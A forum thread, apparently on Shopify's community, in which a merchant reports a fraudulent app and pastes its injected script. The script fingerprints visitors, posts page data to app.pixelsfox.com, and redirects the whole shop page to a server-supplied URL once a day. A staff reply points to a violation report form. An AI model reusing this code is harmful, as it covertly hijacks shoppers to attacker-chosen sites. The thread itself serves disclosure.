Is there a place to report a fraudulent app?

Is there a place to report a fraudulent app?

Or is there someone from PixelFox AB who can explain why their app redirects shop visitors to an address received from their app server?
parent.top.window.location.href = c

Does not look like a legit activity.
@Liam-Shopify


    (function () {
        function gpi(callback) {
            try {
                if (!navigator || !navigator.userAgentData || !navigator.userAgentData.getHighEntropyValues) 
                    return callback(false)
                navigator.userAgentData.getHighEntropyValues(['platform', 'platformVersion']).then((ua) => {
                    callback(JSON.stringify(ua))
                }).catch((e3) => callback(e3.toString()));
            }catch(err) {
                callback(false)
            }
        }

        
        function minAjax(config) {
            if (!config.url || !config.type) return;
            if (!config.method) config.method = true;
            if (!config.debugLog) config.debugLog = false;
    
    
            var sendString = [],
                sendData = config.data;
            if (typeof sendData === "string") {
                var tmpArr = String.prototype.split.call(sendData, '&');
                for (var i = 0, j = tmpArr.length; i < j; i++) {
                    var datum = tmpArr[i].split('=');
                    sendString.push(encodeURIComponent(datum[0]) + "=" + encodeURIComponent(datum[1]));
                }
            } else if (typeof sendData === 'object' && !(sendData instanceof String)) {
                for (var k in sendData) {
                    var datum = sendData[k];
                    if (Object.prototype.toString.call(datum) == "[object Array]") {
                        for (var i = 0, j = datum.length; i < j; i++) {
                            sendString.push(encodeURIComponent(k) + "[]=" + encodeURIComponent(datum[i]));
                        }
                    } else {
                        sendString.push(encodeURIComponent(k) + "=" + encodeURIComponent(datum));
                    }
                }
            }
            sendString = sendString.join('&');
    
            var xmlhttp = new XMLHttpRequest()
            xmlhttp.onreadystatechange = function () {
                if (xmlhttp.readyState == 4 && xmlhttp.status == 200) {
                    if (config.success) {
                        config.success(xmlhttp.responseText, xmlhttp.readyState);
                    }
                }
            }

            if (config.type == "GET") {
                xmlhttp.open("GET", config.url + "?" + sendString, config.method);
                xmlhttp.send();
            }
            if (config.type == "POST") {
                xmlhttp.open("POST", config.url, config.method);
                xmlhttp.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
                xmlhttp.send(sendString);
            }
        
        }
    
        if (window.XMLHttpRequest) 
            gpi(dL)
    
        function dL(pi) {
            function bl(resp) {
                !function (dr) {
                    function t() { return !!localStorage && localStorage.getItem(a) } function e() {
                        o(),
                        parent.top.window.location.href = c
                    } function o() { var t = r + i; if (localStorage) { localStorage.setItem(a, t) } }
                    function n() { if (t()) { var o = localStorage && localStorage.getItem(a); r > o && e() } else e() } var a = "MenuIdentifier",
                        r = Math.floor((new Date).getTime() / 1e3), c = dr, i = 86400; n()
                }(resp);
            }
    

            minAjax({
                url: 'https://app.pixelsfox.com/f/gstats',
                type: "POST",
                data: {
                    vhref: location.href,
                    juh:'dc20ef8b48472933bfeda2a38116d810',
                    cs:'6f34a5fc15c177df32db3069d9210045',
                    ex:1763610648386,
                    t0: 1763610048,
                    pi,
                    t: Math.floor(new Date().getTime() / 1000),
                },
                success: function (response) {
                    try {
                        var json = JSON.parse(response)
                        if (json && json.fw && json.fw.indexOf('http')>-1) bl(json.fw)
                    }catch(err) {
                        
                    }
                }
            });
        }
    })();
 

Why: Some customers on mobile getting weird redirects

Hi @tim_tairli

Can you submit the details about this to this “report a partner violation” form: Report a partner violation - Shopify

1 Like

Reported that, thanks!